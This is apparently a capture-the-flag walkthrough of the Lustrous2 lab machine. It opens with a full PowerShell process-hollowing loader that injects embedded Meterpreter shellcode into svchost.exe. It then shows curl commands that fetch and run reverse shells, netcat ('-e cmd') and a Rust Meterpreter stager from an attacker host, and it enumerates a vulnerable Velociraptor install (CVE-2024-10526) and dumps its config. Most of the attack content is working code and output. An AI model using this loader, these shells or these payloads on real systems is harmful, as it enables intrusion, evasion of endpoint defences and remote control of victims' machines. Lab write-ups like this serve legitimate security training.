[Byte[]] $SHELLCODE = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0xe8,0x54,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x34,0x2e,0x37,0x3b,0x20,0x72,0x76,0x3a,0x31,0x33,0x33,0x2e,0x30,0x29,0x20,0x47,0x65,0x63,0x6b,0x6f,0x2f,0x32,0x30,0x31,0x30,0x30,0x31,0x30,0x31,0x20,0x46,0x69,0x72,0x65,0x66,0x6f,0x78,0x2f,0x31,0x33,0x33,0x2e,0x30,0x0,0x59,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xb,0x0,0x0,0x0,0x31,0x30,0x2e,0x38,0x2e,0x34,0x2e,0x32,0x35,0x33,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xab,0x0,0x0,0x0,0x2f,0x46,0x42,0x7a,0x41,0x34,0x63,0x38,0x32,0x56,0x37,0x59,0x32,0x52,0x7a,0x64,0x46,0x55,0x64,0x66,0x39,0x31,0x41,0x64,0x61,0x37,0x54,0x34,0x67,0x58,0x44,0x6d,0x45,0x6f,0x31,0x4a,0x6a,0x59,0x49,0x71,0x57,0x65,0x68,0x52,0x77,0x6b,0x78,0x6c,0x45,0x39,0x69,0x55,0x32,0x38,0x32,0x71,0x36,0x6f,0x42,0x6e,0x68,0x5f,0x63,0x78,0x56,0x33,0x4f,0x71,0x33,0x2d,0x76,0x63,0x48,0x59,0x76,0x73,0x6a,0x51,0x64,0x4d,0x6c,0x54,0x6d,0x41,0x6d,0x6a,0x68,0x70,0x34,0x4c,0x57,0x37,0x2d,0x35,0x73,0x58,0x2d,0x42,0x53,0x34,0x5a,0x4f,0x65,0x64,0x68,0x68,0x5f,0x49,0x46,0x79,0x56,0x32,0x35,0x49,0x56,0x32,0x48,0x53,0x72,0x59,0x42,0x35,0x33,0x63,0x4f,0x74,0x37,0x5f,0x54,0x46,0x4d,0x48,0x51,0x39,0x63,0x6c,0x6e,0x32,0x56,0x68,0x71,0x5a,0x37,0x67,0x72,0x63,0x73,0x7a,0x37,0x4f,0x48,0x48,0x6d,0x45,0x69,0x66,0x33,0x4b,0x69,0x57,0x65,0x7a,0x70,0x78,0x51,0x66,0x78,0x39,0x74,0x52,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
filter Get-Type ([string]$dllName,[string]$typeName)
{
if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) )
{
$_.GetType($typeName)
}
}
function Get-Function
{
Param(
[string] $module,
[string] $function
)
if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )
{
throw "Error: GetModuleHandle and GetProcAddress must be initialized first!"
}
$moduleHandle = $GetModuleHandle.Invoke($null, @($module))
$GetProcAddress.Invoke($null, @($moduleHandle, $function))
}
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,
[Parameter(Position = 2)] [Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Obtain the required types via reflection
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'
$nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'
$startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'
$processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'
# Obtain the required functions via reflection: GetModuleHandle, GetProcAddress and CreateProcess
$GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
$CreateProcess = $nativeMethodsType.GetMethod("CreateProcess")
# Obtain the function addresses of the required hollowing functions
$ResumeThreadAddr = Get-Function "kernel32.dll" "ResumeThread"
$ReadProcessMemoryAddr = Get-Function "kernel32.dll" "ReadProcessMemory"
$WriteProcessMemoryAddr = Get-Function "kernel32.dll" "WriteProcessMemory"
$ZwQueryInformationProcessAddr = Get-Function "ntdll.dll" "ZwQueryInformationProcess"
# Create the delegate types to call the previously obtain function addresses
$ResumeThread = Get-Delegate $ResumeThreadAddr @([IntPtr])
$WriteProcessMemory = Get-Delegate $WriteProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr])
$ReadProcessMemory = Get-Delegate $ReadProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int], [IntPtr]) ([Bool])
$ZwQueryInformationProcess = Get-Delegate $ZwQueryInformationProcessAddr @([IntPtr], [Int], [Byte[]], [UInt32], [UInt32]) ([Int])
# Instantiate the required structures for CreateProcess and use them to launch svchost.exe
$startupInformation = $startupInformationType.GetConstructors().Invoke($null)
$processInformation = $processInformationType.GetConstructors().Invoke($null)
$cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\svchost.exe")
$CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $false, 0x4, [IntPtr]::Zero, $null, $startupInformation, $processInformation))
# Obtain the required handles from the PROCESS_INFORMATION structure
$hThread = $processInformation.hThread
$hProcess = $processInformation.hProcess
# Create a buffer to hold the PROCESS_BASIC_INFORMATION structure and call ZwQueryInformationProcess
$processBasicInformation = [System.Byte[]]::CreateInstance([System.Byte], 48)
$ZwQueryInformationProcess.Invoke($hProcess, 0, $processBasicInformation, $processBasicInformation.Length, 0)
# Locate the image base address. The address of the PEB is the second element within the PROCESS_BASIC_INFORMATION
# structure (e.g. offset 0x08 within the $processBasicInformation buffer on x64). Within the PEB, the base image
# addr is located at offset 0x10.
$imageBaseAddrPEB = ([IntPtr]::new([BitConverter]::ToUInt64($processBasicInformation, 0x08) + 0x10))
# Use ReadProcessMemory to read the required part of the PEB. We allocate already a buffer for 0x200
# bytes that we will use later on. From the PEB we actually only need 0x08 bytes, as $imageBaseAddrPEB
# already points to the correct memory location. We parse the obtained 0x08 bytes as Int64 and IntPtr.
$memoryBuffer = [System.Byte[]]::CreateInstance([System.Byte], 0x200)
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPEB, $memoryBuffer, 0x08, 0)
$imageBaseAddr = [BitConverter]::ToInt64($memoryBuffer, 0)
$imageBaseAddrPointer = [IntPtr]::new($imageBaseAddr)
# Now that we have the base address, we can read the first 0x200 bytes to obtain the PE file format header.
# The offset of the PE header is at 0x3c within the PE file format header. Within the PE header, the relative
# entry point address can be found at an offset of 0x28. We combine this with the $imageBaseAddr and have finally
# found the non relative entry point address.
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPointer, $memoryBuffer, $memoryBuffer.Length, 0)
$peOffset = [BitConverter]::ToUInt32($memoryBuffer, 0x3c) # PE header offset
$entryPointAddrRelative = [BitConverter]::ToUInt32($memoryBuffer, $peOffset + 0x28) # Relative entrypoint
$entryPointAddr = [IntPtr]::new($imageBaseAddr + $entryPointAddrRelative) # Absolute entrypoint
# Overwrite the entrypoint with shellcode and resume the thread.
$WriteProcessMemory.Invoke($hProcess, $entryPointAddr, $SHELLCODE, $SHELLCODE.Length, [IntPtr]::Zero)
$ResumeThread.Invoke($hThread)
# Close powershell to remove it as the parent of svchost.exe
exit
Try to upload then execute a PoSH reverse shell:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=iwr http://10.8.4.253/rshell.txt -outfile c:\programdata\rshell.ps1' -X POST
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=c:\programdata\rshell.ps1' -X POST
Errors:
File C:\programdata\rshell.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https://go.microsoft.com/fwlink/?LinkID=135170.
Failed, powershell scripts are restricted then we need an exe binary
So we proceed with the powershell module ps2exe to convert ps1 to exe:
PS C:\temp> Install-Module ps2exe
PS C:\temp> ps2exe .\rshell.ps1 .\rshell.exe -noConsole
Then try again:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=iwr http://10.8.4.253/rshell.exe -outfile c:\programdata\rshell.exe' -X POST
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=c:\programdata\rshell.exe' -X POST
No warning but no shell
After few seconds we try to run it again:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=c:\programdata\rshell.exe' -X POST
Errors:
The term 'c:\programdata\rshell.exe' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
So we have been catch by a security software like antivirus or edr.
with Netcat + Penelope
Ok let’s go to try with a simple netcat then upgrade to a Meterpreter shell.
We keep our current local web server running, stop the Meterpreter listener and start a Penelope listener:
$ penelope 443 -i tun0
[+] Listening for reverse shells on 10.8.4.253:443
➤ 💀 Show Payloads (p) 🏠 Main Menu (m) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Upload and run our netcat on the target:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=iwr http://10.8.4.253/nc64.exe -outfile c:\programdata\nc.exe' -X POST
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=c:\programdata\nc.exe 10.8.4.253 443 -e cmd' -X POST
Got a shell and grab the flag Lustrous2_User:
[+] Got reverse shell from 💻 lus2dc.lustrous2.vl~10.10.71.5 😍️ - Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Basic, Menu key: Ctrl-D
[+] Logging to /home/user/.penelope/lus2dc.lustrous2.vl~10.10.71.5/lus2dc.lustrous2.vl~10.10.71.5.log 📜
C:\inetpub\lushare>cd c:\
cd c:\
c:\>dir
dir
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\
09/06/2024 07:39 AM <DIR> datastore
09/06/2024 04:37 AM <DIR> inetpub
05/08/2021 12:20 AM <DIR> PerfLogs
09/07/2024 04:41 AM <DIR> Program Files
09/06/2024 04:38 AM <DIR> Program Files (x86)
09/06/2024 05:57 AM <DIR> temp
08/31/2024 12:56 AM <DIR> Users
09/06/2024 07:52 AM 36 user_2e9c1.txt
09/07/2024 04:55 AM <DIR> Windows
1 File(s) 36 bytes
8 Dir(s) 4,546,330,624 bytes free
c:\>type user_2e9c1.txt
type user_2e9c1.txt
VL{636d8f0a348196f1c939d33bedc5e0e8}
with Rust stager + MSF shellcode
Another way can be using Rust to create a stager with a MSF shellcode:
Install the requirement for our project:
$ sudo apt install rustup
$ rustup default stable
$ rustup target add x86_64-pc-windows-gnu
$ git clone https://github.com/0xdea/backdoo-rs.git
$ cd backdoo-rs
$ cargo build --release --target x86_64-pc-windows-gnu
$ cp target/x86_64-pc-windows-gnu/release/backdoo-rs.exe ../.
$ cd ..
Start a Meterpreter listener:
$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.8.4.253:443
msf6 exploit(multi/handler) >
Try to upload then execute a Rust stager:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=iwr http://10.8.4.253/backdoo-rs.exe -outfile c:\programdata\backdoo-rs.exe' -X POST
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=c:\programdata\backdoo-rs.exe 10.8.4.253:443' -X POST
backdoo-rs - A simple Meterpreter stager written in Rust
Copyright (c) 2024 Marco Ivaldi <raptor@0xdeadbeef.info>
[*] Using reverse_tcp stager (10.8.4.253:443)
[+] Payload received!
another way can be:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary 'pin=ba45c518&command=iwr http://10.8.4.253/backdoo-rs.exe -outfile c:\programdata\backdoo-rs.exe' -X POST
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary "pin=ba45c518&command=Start-Process -FilePath 'c:\programdata\backdoo-rs.exe' -ArgumentList '10.8.4.253:443'" -X POST
We got a shell as ShareSvc:
[*] Sending stage (203846 bytes) to 10.10.92.197
[*] Sending stage (203846 bytes) to 10.10.92.197
[*] Meterpreter session 2 opened (10.8.4.253:443 -> 10.10.92.197:65104) at 2025-01-31 19:10:34 +0900
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows 10.8.4.253:443 -> 10.10.92.197:65103 (10.10.92.197)
2 meterpreter x64/windows LUSTROUS2\ShareSvc @ LUS2DC 10.8.4.253:443 -> 10.10.92.197:65104 (10.10.92.197)
We migrate to another process:
msf6 exploit(multi/handler) > sessions 2
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
96 4 Registry
292 656 svchost.exe
320 4 smss.exe
344 656 svchost.exe
440 432 csrss.exe
508 656 svchost.exe
516 504 csrss.exe
536 432 wininit.exe
592 504 winlogon.exe
656 536 services.exe
676 536 lsass.exe
868 656 svchost.exe
912 656 svchost.exe
1036 656 svchost.exe
1044 656 svchost.exe
1052 656 svchost.exe
1068 592 dwm.exe
1144 656 svchost.exe
1256 656 svchost.exe
1328 4832 backdoo-rs.exe x64 0 LUSTROUS2\ShareSvc C:\ProgramData\backdoo-rs.exe
1420 656 svchost.exe
1528 656 svchost.exe
1804 656 svchost.exe
2064 656 spoolsv.exe
2080 2196 AggregatorHost.exe
2132 656 svchost.exe
2152 656 certsrv.exe
2164 656 svchost.exe
2196 656 svchost.exe
2228 656 svchost.exe
2264 656 SecurityHealthService.exe
2268 656 vds.exe
2300 656 svchost.exe
2340 656 ismserv.exe
2348 656 Microsoft.ActiveDirectory.WebServices.exe
2412 656 vm3dservice.exe
2432 656 MsMpEng.exe
2464 656 dns.exe
2484 656 Velociraptor.exe
2516 656 dfsrs.exe
2532 656 dfssvc.exe
2748 2412 vm3dservice.exe
3348 656 Velociraptor.exe
3368 2192 MicrosoftEdgeUpdate.exe
3728 592 fontdrvhost.exe
3732 536 fontdrvhost.exe
3828 592 LogonUI.exe
4196 656 NisSrv.exe
4696 656 msdtc.exe
4832 2300 w3wp.exe x64 0 LUSTROUS2\ShareSvc C:\Windows\System32\inetsrv\w3wp.exe
5084 4832 conhost.exe x64 0 LUSTROUS2\ShareSvc C:\Windows\System32\conhost.exe
meterpreter > migrate 4832
[*] Migrating from 1328 to 4832...
[*] Migration completed successfully.
Privilege Escalation (Lustrous2_Root)
We proceed to a local enumeration.
We found a non standard folder named datastore at C:\
c:\>dir
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\
09/06/2024 07:39 AM <DIR> datastore
09/06/2024 04:37 AM <DIR> inetpub
05/08/2021 12:20 AM <DIR> PerfLogs
09/07/2024 04:41 AM <DIR> Program Files
09/06/2024 04:38 AM <DIR> Program Files (x86)
09/06/2024 05:57 AM <DIR> temp
08/31/2024 12:56 AM <DIR> Users
09/06/2024 07:52 AM 36 user_2e9c1.txt
09/07/2024 04:55 AM <DIR> Windows
1 File(s) 36 bytes
8 Dir(s) 4,542,271,488 bytes free
c:\>cd datastore
c:\datastore>tree
Folder PATH listing for volume System
Volume serial number is 58B1-CECF
C:.
+---acl
+---clients
� +---C.f0551400529f04d1
� � +---artifacts
� � � +---Generic.Client.Info
� � � � +---F.CRDI2HL5I2RI6
� � � +---Windows.System.CmdShell
� � +---collections
� � � +---F.CRDI2HL5I2RI6
� � � +---F.CRDI33HLPHFIS
� � +---flow_index
� � � +---filter
� � � � +---Artifacts
� � � � +---%28%3Fi%29%28Windows.System.PowerShell%7CWindows.System.CmdShell%7CLinux.Sys.BashShell%7CGeneric.Client.VQL%29
� � � � +---sorted
� � � � +---FlowId
� � � � +---asc
� � � +---sorted
� � � +---FlowId
� � � +---asc
� � +---monitoring
� � � +---Generic.Client.Stats
� � +---monitoring_logs
� � � +---Generic.Client.Stats
� � +---tasks
� +---server
� +---flow_index
� � +---filter
� � � +---Creator
� � � +---%28%3Fi%29operator
� � � +---sorted
� � � +---FlowId
� � � +---asc
� � +---sorted
� � +---FlowId
� � +---asc
� +---monitoring
� +---System.Flow.Completion
+---client_info
+---config
� +---secrets
+---logs
+---notebooks
� +---Dashboards
� +---Server.Internal.Welcome
� +---Server.Monitor.Health
� +---uploads
� +---data
+---server_artifacts
� +---Server.Audit.Logs
� +---Server.Internal.ArtifactModification
� +---Server.Monitor.Health
� +---Prometheus
+---server_artifact_logs
� +---Server.Monitor.Health
� +---Prometheus
+---users
+---admin
� +---mru
+---gui
Seems related to a client/server app with a gui.
Checking more under acl folder we found that is related to Velociraptor, an advanced digital forensic and incident response tool that enhances your visibility into your endpoints:
c:\datastore\acl>dir /A
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\datastore\acl
09/06/2024 07:48 AM <DIR> .
09/06/2024 07:39 AM <DIR> ..
09/06/2024 07:34 AM 27 admin.json.db
09/06/2024 07:47 AM 97 operator.json.db
01/31/2025 03:57 PM 40 VelociraptorServer.json.db
We found that 2 accounts exist with different roles:
c:\datastore\acl>type admin.json.db
{"roles":["administrator"]}
c:\datastore\acl>type operator.json.db
{"filesystemWrite":true, "roles":["reader", "analyst", "investigator", "artifact_writer", "api"]}
Check if it’s installed:
c:\Program Files>dir
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\Program Files
09/07/2024 04:41 AM <DIR> .
09/07/2024 04:54 AM <DIR> Amazon
08/31/2024 12:03 AM <DIR> Common Files
09/06/2024 04:39 AM <DIR> dotnet
09/06/2024 04:38 AM <DIR> IIS
08/31/2024 12:32 AM <DIR> Internet Explorer
05/08/2021 12:20 AM <DIR> ModifiableWindowsApps
09/06/2024 07:35 AM <DIR> Velociraptor
09/06/2024 07:34 AM <DIR> VelociraptorServer
09/07/2024 04:40 AM <DIR> VMware
08/31/2024 12:55 AM <DIR> Windows Defender
08/31/2024 12:32 AM <DIR> Windows Defender Advanced Threat Protection
08/31/2024 12:32 AM <DIR> Windows Mail
08/31/2024 12:32 AM <DIR> Windows Media Player
05/08/2021 01:35 AM <DIR> Windows NT
03/02/2022 07:58 PM <DIR> Windows Photo Viewer
05/08/2021 12:34 AM <DIR> WindowsPowerShell
Confirmed both client and server are installed
Checking more we found the Velociraptor version v0.72.4:
c:\Program Files\VelociraptorServer>dir
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\Program Files\VelociraptorServer
09/06/2024 07:34 AM <DIR> .
09/07/2024 04:41 AM <DIR> ..
09/06/2024 07:34 AM 2,563 client.config.yaml
09/06/2024 07:34 AM 12,972 server.config.yaml
09/06/2024 07:03 AM 60,144,064 velociraptor-v0.72.4-windows-amd64.exe
3 File(s) 60,159,599 bytes
2 Dir(s) 4,540,334,080 bytes free
We found an interesting BIG warning on the top of the main page related to the CVE-2024-10526 impacted Velociraptor version < 0.73.3:
So seems we are vulnrable
CVE-2024-10526 - LPE In Windows Velociraptor Service
Note
- CVE-2024-10526 Local Privilege Escalation In Windows Velociraptor Service
- The Velociraptor Windows MSI installer creates the installation directory with WRITE_DACL permission to the BUILTIN\Users group.
- This allows local users who are not administrators to grant themselves the Full Control permission on Velociraptor’s files. By modifying Velociraptor’s files, local users can subvert the binary and cause the Velociraptor service to execute arbitrary code as the SYSTEM user, or to replace the Velociraptor binary completely.
In the VelociraptorServer folder, we found the server configuration file `server.config.yaml':
c:\Program Files\VelociraptorServer>dir
Volume in drive C is System
Volume Serial Number is 58B1-CECF
Directory of c:\Program Files\VelociraptorServer
09/06/2024 07:34 AM <DIR> .
09/07/2024 04:41 AM <DIR> ..
09/06/2024 07:34 AM 2,563 client.config.yaml
09/06/2024 07:34 AM 12,972 server.config.yaml
09/06/2024 07:03 AM 60,144,064 velociraptor-v0.72.4-windows-amd64.exe
3 File(s) 60,159,599 bytes
2 Dir(s) 4,525,019,136 bytes free
c:\Program Files\VelociraptorServer>type server.config.yaml
version:
name: velociraptor
version: 0.72.4
commit: d568709b
build_time: "2024-07-04T14:03:05Z"
install_time: 1725636828
compiler: go1.22.5
Client:
server_urls:
- https://localhost:8000/
ca_certificate: |
-----BEGIN CERTIFICATE-----
MIIDSzCCAjOgAwIBAgIQIRnpQjrW1aIURqQbu2cKojANBgkqhkiG9w0BAQsFADAa
MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjQwOTA2MTUzNDA0WhcNMzQw
OTA0MTUzNDA0WjAaMRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjJw2CgQEZOA4WGz2iSi2Wre432XHGPNmS
SCb47TG3BIW7YPvD73frcEhhX2ixWLXPpfs7qQdMe9Zi5rV16RgXw25R9x13awU5
1J/KUeNiMxmrQB9KSCUHO3e8kDEuLC0wV26K76TVX8KIm0vklJP4mpv7Mj9CgHBN
4qGwTqB1y7h2wyTanUJlwasY/lGU5u7w4wj2z6+OOOA+/S9NEiJ3Sw+fcd+dma2C
kzqFEYioa3GED+veIfu+OFRyWaO3Pce2gV57ZXnli3AhtQMoFb1w5l6O5IQzhrKU
7inc3KSb8kG+2vzQB4jwGLU0+wbSkyckXY+5592uIG3tVvdy+L9bAgMBAAGjgYww
gYkwDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcD
AjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTfTRyiGGBqOr5F541v8pOYkcFz
ADAoBgNVHREEITAfgh1WZWxvY2lyYXB0b3JfY2EudmVsb2NpZGV4LmNvbTANBgkq
hkiG9w0BAQsFAAOCAQEAt4tFN1KZF1wrmhOT/1f0DXnwgaACkhJmC2HARfp46hGY
FvqumxwNkUTc0hyPdwK2iy+57RCTS70CgGvsvSf6bDx7jSBpBJ8KzYXxOwcNRPaK
4KJV7ZQQA2U6ax3c5LNuUupY63tRh7j/AgeVvnVP8CLTEvWTHD1kEQ/cTyn0XDSn
7yINImANYuWJkWO6i9eKXYxTGXWhG+n1xEmQvZIed8SsOyt/pvTbFnUtKNTokUnb
B71PNi/CkZRJpULuAk9eJvLgKhEgIeVpY2rxYvVPBJNqwWwGypKOzWGX0+ueQReQ
is5cJn9DbPiu82yg/HdQu9vfroG+QktqdZgx5KJkxA==
-----END CERTIFICATE-----
nonce: BpoGFOhazN8=
writeback_darwin: /etc/velociraptor.writeback.yaml
writeback_linux: /etc/velociraptor.writeback.yaml
writeback_windows: $ProgramFiles\Velociraptor\velociraptor.writeback.yaml
level2_writeback_suffix: .bak
tempdir_windows: $ProgramFiles\Velociraptor\Tools
max_poll: 60
nanny_max_connection_delay: 600
windows_installer:
service_name: Velociraptor Server
install_path: $ProgramFiles\Velociraptor\Velociraptor.exe
service_description: Velociraptor Server Service
darwin_installer:
service_name: com.velocidex.velociraptor
install_path: /usr/local/sbin/velociraptor
version:
name: velociraptor
version: 0.72.4
commit: d568709b
build_time: "2024-07-04T14:03:05Z"
install_time: 1725636828
compiler: go1.22.5
use_self_signed_ssl: true
max_upload_size: 5242880
local_buffer:
memory_size: 52428800
disk_size: 1073741824
filename_linux: /var/tmp/Velociraptor_Buffer.bin
filename_windows: $TEMP/Velociraptor_Buffer.bin
filename_darwin: /var/tmp/Velociraptor_Buffer.bin
API:
hostname: localhost
bind_address: 127.0.0.1
bind_port: 8001
bind_scheme: tcp
GUI:
bind_address: 127.0.0.1
bind_port: 8889
gw_certificate: |
-----BEGIN CERTIFICATE-----
MIIDQjCCAiqgAwIBAgIRAKYUQbeZsVYxzdNftJYKsIowDQYJKoZIhvcNAQELBQAw
GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTI0MDkwNjE1MzQwNFoXDTI1
